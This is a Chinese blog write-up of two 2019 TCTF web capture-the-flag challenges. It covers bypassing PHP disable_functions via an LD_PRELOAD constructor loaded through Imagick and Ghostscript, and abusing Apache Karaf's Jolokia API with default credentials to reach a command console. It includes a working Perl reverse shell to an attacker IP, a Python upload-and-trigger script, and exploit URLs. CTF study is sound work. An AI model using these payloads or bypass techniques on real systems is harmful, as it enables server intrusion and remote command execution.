风之栖息地

2019TCTF web writeup

字数统计: 1.5k阅读时长: 6 min
2019/03/31 Share

wallbreaker easy

这道题在比赛的时候专注在imagick上面,但是由于是最新版本,以前的bypass漏洞已经修补。。。之后由于复试的原因没有仔细研究,现在开始复现。

这道题给了一个webshell,密码是backdoor,可以直接用菜刀连接,然而用phpinfo查看禁用函数,发现已经把所有执行命令的函数都ban了,并且知道操作系统是ubuntu18.04.

所以这是一个受限制的webshell绕过disable_function的问题

bypass disable_function的方法

绕过disable_function也是一个老生常谈的问题了。总结一下大概有一下四种:

  1. 攻击后端组件,寻找存在命令注入的、web 应用常用的后端组件,如,ImageMagick 的魔图漏洞、bash 的破壳漏洞
  2. 寻找未禁用的漏网函数,常见的执行命令的函数有 system()exec()shell_exec()passthru(),偏僻的 popen()proc_open()pcntl_exec(),逐一尝试,或许有漏网之鱼
  3. mod_cgi 模式,尝试修改 .htaccess,调整请求访问路由,绕过 php.ini 中的任何限制
  4. 利用环境变量 LD_PRELOAD 劫持系统函数,让外部程序加载恶意 *.so,达到执行系统命令的效果

这里由于题目的提示,我们知道php没有多余的组件。也没有漏网之鱼,同时也没有mod_cgi。那么剩下的就是LD_PRELOAD劫持函数的方法了。

这个一个动态链接的环境变量,在我们执行程序的时候会优先加载这个变量中的动态函数库,如果这个里面有程序用到的库函数就会调用,这样的话我们就可以劫持库函数执行恶意操作。

劫持库函数

这里由于要先设置环境变量,那么触发的函数必须要能启用外部程序才行,这样才会有调用动态库的情况。比如php中的mail()

可以看到调用了外部程序sendmail,这里的经典方法是劫持getuid(),因为sendmail会调用这个函数,但是这里会出现一些问题,如果没有sendmail或者禁用了,这就不会有外部程序运行,当然我们劫持的函数也无法执行。

这里有一种更进一步的利用方法,就是使用__attribute__ ((__constructor__))

1
2
3
4
5
6
7
8
#define _GNU_SOURCE 
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
__attribute__ ((__constructor__)) void angel (void){
unsetenv("LD_PRELOAD");
system("ls");
}

这个东西会在共享库装载的时候触发执行,这样一来只要有额外的外部程序执行就可以利用。我们就得到一种更通用的劫持执行的方法。

解决外部程序调用

可惜的是题目禁用了mail,看来只能另辟蹊径了。结合题目给的hint,看来是要使用imagick作为突破了。查看php-imagick源码

https://github.com/ImageMagick/ImageMagick

从这个网站 https://imagemagick.org/script/formats.php 中可以看到各种格式的文件会调用不同的程序,所以构造一个能够调用额外程序的相应的文件即可。同时可以使用strace -f php xxx.php 2>&1 | grep execve 来验证程序有外部调用。

这里选择了调用ghostscript的eps文件。注意:必须要有相关文件的文件头才行。这里打算通过反弹shell来执行readflag的操作。

1
2
3
4
5
6
7
8
9
10
#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>

int __attribute__((__constructor__)) init(void)
{
unsetenv("LD_PRELOAD");
system("perl -e 'use Socket;$i=\"your_IP\";$p=your_port;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'");
}

将其编译成共享库 gcc -shared -fPIC evil.c -o evil.so,如果是要编译成32位的加上-m32

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests

token = "/tmp/f28c9b5f67a7b7651a9d2b0021affc4e/"
host = "http://111.186.63.208:31340"
base = "your_vps"

def send_backdoor(payload):
res = requests.post(host, data={"backdoor":payload})
return res.text

def up_file(filename):
tp = token + filename
rp = base + filename
p = 'echo file_put_contents("' + tp + '", file_get_contents("' + rp + '"));'
return send_backdoor(p)

print(up_file("evil.so"))
print(up_file("bypass.eps"))

print(send_backdoor("putenv('LD_PRELOAD=" + token + "evil.so" + "');" + "$img = new Imagick('" + token + "bypass.eps" + "');"))

在vps上监听,随后执行脚本,可以看到上传成功的话里面会有上传文件的大小混在网页html中。

最后在根目录下拿到flag。

题目之外

其实我们可以走的更远,这里只是劫持了库函数执行我们的恶意代码,但是也可以在执行完恶意代码后再执行正常的库函数,这样以假乱真,效果更棒:)

Ghost Pepper

打开题目看到有一个basic认证,其实这里是可以爆破的,得到密码karaf:karaf,当然我是事后才知道的,看writeup有的人是根据 https://karaf.apache.org/manual/latest/webconsole ,也有的人是根据jetty的默认凭证。

成功认证之后是得到一个404的页面,这里根据Ghost Pepper猜到jolokia路径,这里有点脑洞了,这种路径爆破也出不来。。。在拿到路径之后发现是一个OSGI的api接口。

对于java不是很熟悉,照着writeup一路走,这里用到了jolokia/list来列举能用的类,返回的json数据美化一下看着更加方便。里面比较有用的就是org.apache.karaf,能够安装和执行一些jar包,这对我们来说用处很大,只要构造恶意的jar包反弹shell,就能拿到flag了。然而,我垃圾的java功底完全构造不出来。。。

这里采用的另外一个思路,Karaf有一个webconsole,我们可以通过installFeature来安装一个webconsole。

http://111.186.63.207:31337/jolokia/exec/org.apache.karaf:name=root,type=feature/installFeature(java.lang.String)/webconsole

安装之后,访问http://111.186.63.207:31337/system/console/gogo

直接可以执行命令,拿到flag

Reference

https://www.freebuf.com/articles/web/192052.html

https://www.linuxidc.com/Linux/2017-12/149841.htm

https://github.com/mdsnins/ctf-writeups/blob/master/2019/0ctf%202019/Wallbreaker%20Easy/WallbreakerEasy.md

https://www.anquanke.com/post/id/175403

https://balsn.tw/ctf_writeup/20190323-0ctf_tctf2019quals/#ghost-pepper

https://github.com/p4-team/ctf/tree/master/2019-03-23-0ctf-quals/web_osgi

https://fireshellsecurity.team/0ctf-ghost-pepper/

https://github.com/p4-team/ctf/tree/master/2019-03-23-0ctf-quals/web_osgi

http://momomoxiaoxi.com/2019/03/26/tctf2019/#wallbreaker-easy

https://www.anquanke.com/post/id/103016

CATALOG
  1. 1. wallbreaker easy
    1. 1.1. bypass disable_function的方法
    2. 1.2. 劫持库函数
    3. 1.3. 解决外部程序调用
    4. 1.4. 题目之外
  2. 2. Ghost Pepper
  3. 3. Reference